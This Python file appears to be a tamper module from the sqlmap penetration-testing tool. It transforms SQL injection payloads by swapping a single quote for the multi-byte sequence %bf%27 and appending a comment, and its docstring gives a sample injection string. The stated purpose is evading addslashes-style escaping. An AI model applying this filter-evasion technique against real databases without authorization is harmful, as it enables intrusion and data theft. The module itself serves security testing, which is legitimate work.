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52 lines
1.1 KiB
Python
52 lines
1.1 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.NORMAL
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def dependencies():
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pass
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def tamper(payload):
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"""
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Replaces quote character (') with a multi-byte combo %bf%27 together with
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generic comment at the end (to make it work)
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Example:
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* Input: 1' AND 1=1
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* Output: 1%bf%27 AND 1=1--%20
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Notes:
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* Useful for bypassing magic_quotes/addslashes feature
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Reference:
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* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
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"""
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retVal = payload
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if payload:
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found = False
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retVal = ""
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for i in xrange(len(payload)):
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if payload[i] == '\'' and not found:
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retVal += "%bf%27"
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found = True
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else:
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retVal += payload[i]
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continue
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if found:
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retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal)
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retVal += "-- "
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return retVal
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